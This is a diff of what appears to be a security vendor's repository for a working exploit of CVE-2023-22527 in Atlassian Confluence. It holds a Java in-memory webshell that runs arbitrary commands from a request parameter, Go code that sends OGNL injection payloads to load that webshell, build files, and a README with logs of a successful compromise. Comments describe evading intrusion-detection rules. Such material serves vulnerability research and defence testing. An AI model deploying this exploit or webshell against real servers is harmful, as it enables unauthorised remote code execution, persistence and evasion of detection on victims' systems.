import java.io.DataInputStream;
|
||||
import javax.servlet.*;
|
||||
|
||||
// Original code was taken from: https://github.com/Boogipop/CVE-2023-22527-Godzilla-MEMSHELL/blob/main/src/main/ConfluenceFilterMemshell.java
|
||||
// But adapted to be a generic webshell and look more like https://medium.com/@m01e/jsp-webshell-cookbook-part-3-f2a96f3b81ad
|
||||
//
|
||||
// This code depends on servlet-api.jar (Tomcat 9.0) for javax
|
||||
public class ABCDEFG implements ServletRequestListener {
|
||||
|
||||
public ABCDEFG(ServletContext context) {
|
||||
try {
|
||||
addListener(this, getFieldValue(getFieldValue(context,"context"), "context"));
|
||||
} catch (Throwable e) {
|
||||
}
|
||||
}
|
||||
|
||||
private void addListener(Object listener, Object standardContext) throws Exception {
|
||||
Method addApplicationEventListenerMethod = standardContext.getClass().getDeclaredMethod("addApplicationEventListener", Object.class);
|
||||
addApplicationEventListenerMethod.setAccessible(true);
|
||||
addApplicationEventListenerMethod.invoke(standardContext, listener);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestInitialized(ServletRequestEvent sret) {
|
||||
try {
|
||||
ServletRequest request = sret.getServletRequest();
|
||||
String cmd = request.getParameter("AAAAAAAAAAAA");
|
||||
if (cmd != null) {
|
||||
ServletResponse response = (ServletResponse)getFieldValue(getFieldValue(request, "request"), "response");
|
||||
PrintWriter printWriter = response.getWriter();
|
||||
Process p = Runtime.getRuntime().exec(cmd);
|
||||
OutputStream os = p.getOutputStream();
|
||||
InputStream in = p.getInputStream();
|
||||
DataInputStream dis = new DataInputStream( in );
|
||||
String disr = dis.readLine();
|
||||
while (disr != null) {
|
||||
printWriter.write(disr);
|
||||
disr = dis.readLine();
|
||||
}
|
||||
printWriter.flush();
|
||||
printWriter.close();
|
||||
}
|
||||
}
|
||||
catch (Exception e) {
|
||||
}
|
||||
}
|
||||
|
||||
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
|
||||
Field f = null;
|
||||
if (obj instanceof Field) {
|
||||
f = (Field) obj;
|
||||
} else {
|
||||
Method method = null;
|
||||
Class cs = obj.getClass();
|
||||
while (cs != null) {
|
||||
try {
|
||||
f = cs.getDeclaredField(fieldName);
|
||||
cs = null;
|
||||
} catch (Exception e) {
|
||||
cs = cs.getSuperclass();
|
||||
}
|
||||
}
|
||||
}
|
||||
f.setAccessible(true);
|
||||
return f.get(obj);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
FROM golang:latest
|
||||
LABEL author="VulnCheck"
|
||||
LABEL website="https://vulncheck.com"
|
||||
|
||||
# Install java in the container. I think ideally this would be 8 but Debian removed old versions (probably correctly)
|
||||
RUN apt-get update && \
|
||||
apt-get -y install \
|
||||
openjdk-17-jdk
|
||||
|
||||
# build the binary in a subdirectory
|
||||
WORKDIR /vulncheck
|
||||
|
||||
# add all Go files
|
||||
COPY *.go ./
|
||||
|
||||
# add go.sum and go.mod
|
||||
COPY go.* ./
|
||||
|
||||
# add java file to compile
|
||||
COPY *.java ./
|
||||
|
||||
# add java libs
|
||||
COPY ./lib/* ./lib/
|
||||
|
||||
# add the Makefile
|
||||
COPY Makefile .
|
||||
|
||||
# change working directory and compile
|
||||
RUN make compile
|
||||
|
||||
# mv the compiled binary to a generic name because our generic makefile appends arch info
|
||||
RUN mv ./build/* ./exploit
|
||||
|
||||
# exec <3
|
||||
ENTRYPOINT ["/vulncheck/exploit"]
|
||||
@@ -0,0 +1,85 @@
|
||||
# Don't touch this variable
|
||||
export GO111MODULE := on
|
||||
|
||||
# HACK: "Detect" exploit and payload filenames
|
||||
exploit_files := $(wildcard cve-*.go)
|
||||
payload_files := $(wildcard *_shell.go)
|
||||
|
||||
# Don't touch these variables
|
||||
exploit_os := $(shell go env GOOS)
|
||||
exploit_arch := $(shell go env GOARCH)
|
||||
|
||||
# NOTE: Don't forget to update these variables
|
||||
payload_oses := #windows
|
||||
payload_archs := #amd64
|
||||
|
||||
# Output directory for binaries
|
||||
output_dir := build
|
||||
|
||||
# Don't touch this definition
|
||||
define newline
|
||||
|
||||
|
||||
endef
|
||||
|
||||
ifndef exploit_files
|
||||
$(error You haven't written any exploit code)
|
||||
endif
|
||||
|
||||
all: format lint compile
|
||||
|
||||
format:
|
||||
gofmt -d -w $(exploit_files) $(payload_files)
|
||||
|
||||
lint:
|
||||
$(foreach file,$(exploit_files),golangci-lint run --fix $(file)$(newline))
|
||||
ifneq ($(payload_files),)
|
||||
$(foreach file,$(payload_files),golangci-lint run --fix $(file)$(newline))
|
||||
endif
|
||||
|
||||
compile: java exploit payload extra
|
||||
|
||||
java:
|
||||
javac ABCDEFG.java -classpath ./lib/servlet-api.jar
|
||||
|
||||
exploit: ext = $(if $(findstring windows,$(exploit_os)),.exe)
|
||||
exploit:
|
||||
$(foreach file,$(exploit_files),\
|
||||
$(eval out := $(output_dir)/$(file:.go=)_$(exploit_os)-$(exploit_arch)$(ext))\
|
||||
GOOS=$(exploit_os) GOARCH=$(exploit_arch) go build -o $(out) $(file)$(newline))
|
||||
|
||||
# Change this value if you need to
|
||||
payload: export GOARM := 7
|
||||
payload:
|
||||
ifneq ($(payload_files),)
|
||||
$(foreach file,$(payload_files),\
|
||||
$(foreach os,$(payload_oses),\
|
||||
$(foreach arch,$(payload_archs),\
|
||||
$(eval ext := $(if $(findstring windows,$(os)),.exe))\
|
||||
$(eval out := $(output_dir)/$(file:.go=)_$(os)-$(arch)$(ext))\
|
||||
GOOS=$(os) GOARCH=$(arch) go build -ldflags "-s -w" -o $(out) $(file)$(newline))))
|
||||
endif
|
||||
|
||||
# Add extra stuff to this recipe
|
||||
extra:
|
||||
|
||||
clean:
|
||||
@rm -rfv $(output_dir) ./*.class
|
||||
|
||||
docker:
|
||||
@docker build --network=host -t $(notdir $(CURDIR)) .
|
||||
|
||||
# make darwin-amd64|darwin-arm64|...
|
||||
darwin-%:
|
||||
# HACK: Reinvoke make to pass in vars
|
||||
@$(MAKE) --no-print-directory exploit_os=darwin exploit_arch=$*
|
||||
|
||||
# make linux-amd64|linux-arm64|...
|
||||
linux-%:
|
||||
# HACK: Reinvoke make to pass in vars
|
||||
@$(MAKE) --no-print-directory exploit_os=linux exploit_arch=$*
|
||||
|
||||
# make windows-amd64|windows-arm64|...
|
||||
windows-%:
|
||||
# HACK: Reinvoke make to pass in vars
|
||||
@$(MAKE) --no-print-directory exploit_os=windows exploit_arch=$*
|
||||
@@ -0,0 +1,48 @@
|
||||
# In Memory Confluence Webshell
|
||||
|
||||
This exploit will load a webshell into Confluence's memory. The webshell is implemented in `ABCDEFG.java` although a random name will be assigned to it at exploitation time. After exploitation, the attacker can execute arbitrary programs via `curl`.
|
||||
|
||||
## Compiling
|
||||
|
||||
To build a docker image:
|
||||
```
|
||||
make docker
|
||||
```
|
||||
|
||||
If you have a Go and Java build environment handy, you can also just use `make`:
|
||||
|
||||
```
|
||||
albinolobster@mournland:~/cve-2023-22527/webshell$ make
|
||||
gofmt -d -w cve-2023-22527.go
|
||||
golangci-lint run --fix cve-2023-22527.go
|
||||
javac ABCDEFG.java -classpath ./lib/servlet-api.jar
|
||||
Note: ABCDEFG.java uses or overrides a deprecated API.
|
||||
Note: Recompile with -Xlint:deprecation for details.
|
||||
GOOS=linux GOARCH=arm64 go build -o build/cve-2023-22527_linux-arm64 cve-2023-22527.go
|
||||
```
|
||||
|
||||
## Usage Example
|
||||
|
||||
Add the webshell:
|
||||
|
||||
```
|
||||
albinolobster@mournland:~/cve-2023-22527/webshell$ sudo docker run -it --network=host webshell -a -v -c -e -rhost 10.9.49.76 -rport 8090
|
||||
time=2024-03-05T16:34:21.251Z level=STATUS msg="Starting target" index=0 host=10.9.49.76 port=8090 ssl=false "ssl auto"=true
|
||||
time=2024-03-05T16:34:21.390Z level=STATUS msg="Validating Confluence target" host=10.9.49.76 port=8090
|
||||
time=2024-03-05T16:34:23.094Z level=SUCCESS msg="Target verification succeeded!" host=10.9.49.76 port=8090 verified=true
|
||||
time=2024-03-05T16:34:23.094Z level=STATUS msg="Running a version check on the remote target" host=10.9.49.76 port=8090
|
||||
time=2024-03-05T16:34:23.334Z level=VERSION msg="The self-reported version is: 8.5.3" host=10.9.49.76 port=8090 version=8.5.3
|
||||
time=2024-03-05T16:34:23.334Z level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.9.49.76 port=8090 vulnerable=yes
|
||||
time=2024-03-05T16:34:23.334Z level=STATUS msg="Sending OGNL expression size limit adjustment to http://10.9.49.76:8090/template/aui/text-inline.vm"
|
||||
time=2024-03-05T16:34:23.520Z level=STATUS msg="Sending class VbbsGkzxox to http://10.9.49.76:8090/template/aui/text-inline.vm"
|
||||
time=2024-03-05T16:34:23.720Z level=SUCCESS msg="In memory webshell available using VicodMajitk param"
|
||||
time=2024-03-05T16:34:23.720Z level=SUCCESS msg="Example usage: curl -kv http://10.9.49.76:8090/?VicodMajitk=whoami"
|
||||
time=2024-03-05T16:34:23.720Z level=SUCCESS msg="Exploit successfully completed" exploited=true
|
||||
```
|
||||
|
||||
Use the webshell:
|
||||
|
||||
```
|
||||
albinolobster@mournland:~/cve-2023-22527/webshell$ curl http://10.9.49.76:8090/?VicodMajitk=whoami
|
||||
nt authority\network service
|
||||
```
|
||||
@@ -0,0 +1,198 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
_ "embed"
|
||||
b64 "encoding/base64"
|
||||
"encoding/binary"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/vulncheck-oss/go-exploit"
|
||||
"github.com/vulncheck-oss/go-exploit/c2"
|
||||
"github.com/vulncheck-oss/go-exploit/config"
|
||||
"github.com/vulncheck-oss/go-exploit/output"
|
||||
"github.com/vulncheck-oss/go-exploit/protocol"
|
||||
"github.com/vulncheck-oss/go-exploit/random"
|
||||
"github.com/vulncheck-oss/go-exploit/transform"
|
||||
)
|
||||
|
||||
//go:embed ABCDEFG.class
|
||||
var webshellClass string
|
||||
|
||||
type ConfluenceOGNLExploit struct{}
|
||||
|
||||
func (sploit ConfluenceOGNLExploit) ValidateTarget(conf *config.Config) bool {
|
||||
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
|
||||
resp, body, ok := protocol.HTTPSendAndRecv("GET", uri, "")
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
|
||||
if resp.StatusCode != 200 {
|
||||
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
|
||||
|
||||
return false
|
||||
}
|
||||
_, ok = resp.Header["X-Confluence-Request-Time"]
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
_, ok = resp.Header["Set-Cookie"]
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
|
||||
return strings.Contains(body, "confluence-context-path")
|
||||
}
|
||||
|
||||
func (sploit ConfluenceOGNLExploit) CheckVersion(conf *config.Config) exploit.VersionCheckType {
|
||||
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
|
||||
resp, bodyString, ok := protocol.HTTPSendAndRecv("GET", uri, "")
|
||||
if !ok {
|
||||
return exploit.Unknown
|
||||
}
|
||||
|
||||
if resp.StatusCode != 200 {
|
||||
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
|
||||
|
||||
return exploit.Unknown
|
||||
}
|
||||
|
||||
if !strings.Contains(bodyString, "Atlassian Confluence") {
|
||||
output.PrintError("The HTTP response did not contain the expected Atlassian branding.")
|
||||
|
||||
return exploit.Unknown
|
||||
}
|
||||
|
||||
re := regexp.MustCompile("<span id='footer-build-information'>([0-9a-zA-Z.]+)</span>")
|
||||
res := re.FindAllStringSubmatch(bodyString, -1)
|
||||
if len(res) == 0 {
|
||||
output.PrintError("Failed to extract the footer build information")
|
||||
|
||||
return exploit.Unknown
|
||||
}
|
||||
version := res[0][1]
|
||||
output.PrintVersion("The self-reported version is: "+version, conf.Rhost, conf.Rport, version)
|
||||
|
||||
versionArray := strings.Split(version, ".")
|
||||
if len(versionArray) != 3 {
|
||||
output.PrintfError("Unexpected version number")
|
||||
|
||||
return exploit.Unknown
|
||||
}
|
||||
|
||||
major, _ := strconv.Atoi(versionArray[0])
|
||||
minor, _ := strconv.Atoi(versionArray[1])
|
||||
point, _ := strconv.Atoi(versionArray[2])
|
||||
|
||||
if major != 8 {
|
||||
return exploit.NotVulnerable
|
||||
}
|
||||
|
||||
switch {
|
||||
case minor < 5:
|
||||
return exploit.Vulnerable
|
||||
case minor == 5 && point <= 3:
|
||||
return exploit.Vulnerable
|
||||
default:
|
||||
}
|
||||
|
||||
return exploit.NotVulnerable
|
||||
}
|
||||
|
||||
// Send a request that encresses the max OGNL size so that we can send our payload.
|
||||
func adjustExpressLength(conf *config.Config) bool {
|
||||
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/template/aui/text-inline.vm")
|
||||
output.PrintfStatus("Sending OGNL expression size limit adjustment to %s", uri)
|
||||
|
||||
// in an attempt to be sneaky, randomize the start of label and used a randomly generated param
|
||||
unused := random.RandLetters(12)
|
||||
param := random.RandLetters(3)
|
||||
|
||||
// URL encoding everything bypasses ET rules
|
||||
params := map[string]string{
|
||||
"label": transform.URLEncodeString(unused) + `\u0027` +
|
||||
transform.URLEncodeString("+#request.get(") + `\u0027` + transform.URLEncodeString(`.KEY_velocity.struts2.context`) + `\u0027` +
|
||||
transform.URLEncodeString(`).internalGet(`) + `\u0027` +
|
||||
transform.URLEncodeString(`ognl`) + `\u0027` +
|
||||
transform.URLEncodeString(`).findValue(#parameters.`+param+",{})+") + `\u0027`,
|
||||
param: transform.URLEncodeString(`@ognl.Ognl@applyExpressionMaxLength(100000)`),
|
||||
}
|
||||
resp, _, ok := protocol.HTTPSendAndRecvURLEncoded("POST", uri, params)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
output.PrintError("Unexpected HTTP status %d", resp.StatusCode)
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func sendWebshell(conf *config.Config) (string, bool) {
|
||||
// replace the predefined Class name and command param
|
||||
classSize := make([]byte, 2)
|
||||
classString := transform.Title(random.RandLettersRange(8, 17))
|
||||
binary.BigEndian.PutUint16(classSize, uint16(len(classString)))
|
||||
uniqWebshellClass := strings.ReplaceAll(webshellClass, "\x00\x07ABCDEFG", string(classSize)+classString)
|
||||
|
||||
shellSize := make([]byte, 2)
|
||||
shellString := transform.Title(random.RandLettersRange(8, 17))
|
||||
binary.BigEndian.PutUint16(shellSize, uint16(len(shellString)))
|
||||
uniqWebshellClass = strings.ReplaceAll(uniqWebshellClass, "\x00\x0cAAAAAAAAAAAA", string(shellSize)+shellString)
|
||||
|
||||
// base64 encode the webshell so we can send it across the wire
|
||||
encodedShell := b64.StdEncoding.EncodeToString([]byte(uniqWebshellClass))
|
||||
|
||||
// in an attempt to be sneaky, randomize the start of label and used a randomly generated param
|
||||
unused := random.RandLetters(12)
|
||||
param := random.RandLetters(3)
|
||||
|
||||
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/template/aui/text-inline.vm")
|
||||
output.PrintfStatus("Sending class %s to %s", classString, uri)
|
||||
|
||||
params := map[string]string{
|
||||
param: transform.URLEncodeString("(@org.springframework.cglib.core.ReflectUtils@defineClass('" + classString +
|
||||
"',@org.springframework.util.Base64Utils@decodeFromString('" + encodedShell +
|
||||
"'),@java.lang.Thread@currentThread().getContextClassLoader())).getDeclaredConstructors[0].newInstance(@org.apache.struts2.ServletActionContext@getRequest().getServletContext())"),
|
||||
`label`: transform.URLEncodeString(unused + `\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.` +
|
||||
param + `,{})+\u0027`),
|
||||
}
|
||||
resp, _, ok := protocol.HTTPSendAndRecvURLEncoded("POST", uri, params)
|
||||
if !ok {
|
||||
return "", false
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
output.PrintError("Unexpected HTTP status %d", resp.StatusCode)
|
||||
|
||||
return "", false
|
||||
}
|
||||
|
||||
return shellString, true
|
||||
}
|
||||
|
||||
func (sploit ConfluenceOGNLExploit) RunExploit(conf *config.Config) bool {
|
||||
if !adjustExpressLength(conf) {
|
||||
return false
|
||||
}
|
||||
|
||||
shellString, ok := sendWebshell(conf)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
|
||||
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
|
||||
output.PrintfSuccess("In memory webshell available using %s param", shellString)
|
||||
output.PrintfSuccess("Example usage: curl -kv %s?%s=whoami", uri, shellString)
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func main() {
|
||||
conf := config.New(config.Webshell, []c2.Impl{}, "Confluence", "CVE-2023-22527", 8090)
|
||||
sploit := ConfluenceOGNLExploit{}
|
||||
exploit.RunProgram(sploit, conf)
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
module github.com/vulncheck-oss/cve-2023-22527/webshell
|
||||
|
||||
go 1.21.4
|
||||
|
||||
require github.com/vulncheck-oss/go-exploit v1.9.4
|
||||
|
||||
require (
|
||||
golang.org/x/net v0.22.0 // indirect
|
||||
golang.org/x/text v0.14.0 // indirect
|
||||
)
|
||||
@@ -0,0 +1,6 @@
|
||||
github.com/vulncheck-oss/go-exploit v1.9.4 h1:7A6pjIzpcrvDxhl2GLUjvzsukh7S4Q0Nzdfgs9fa3zk=
|
||||
github.com/vulncheck-oss/go-exploit v1.9.4/go.mod h1:3tBvv+z3jSbcdauhc/3EhoOmqPxwtR+E4wMkLSy4mg4=
|
||||
golang.org/x/net v0.22.0 h1:9sGLhx7iRIHEiX0oAJ3MRZMUCElJgy7Br1nO+AMN3Tc=
|
||||
golang.org/x/net v0.22.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg=
|
||||
golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ=
|
||||
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
|
||||
Binary file not shown.
Reference in New Issue
Block a user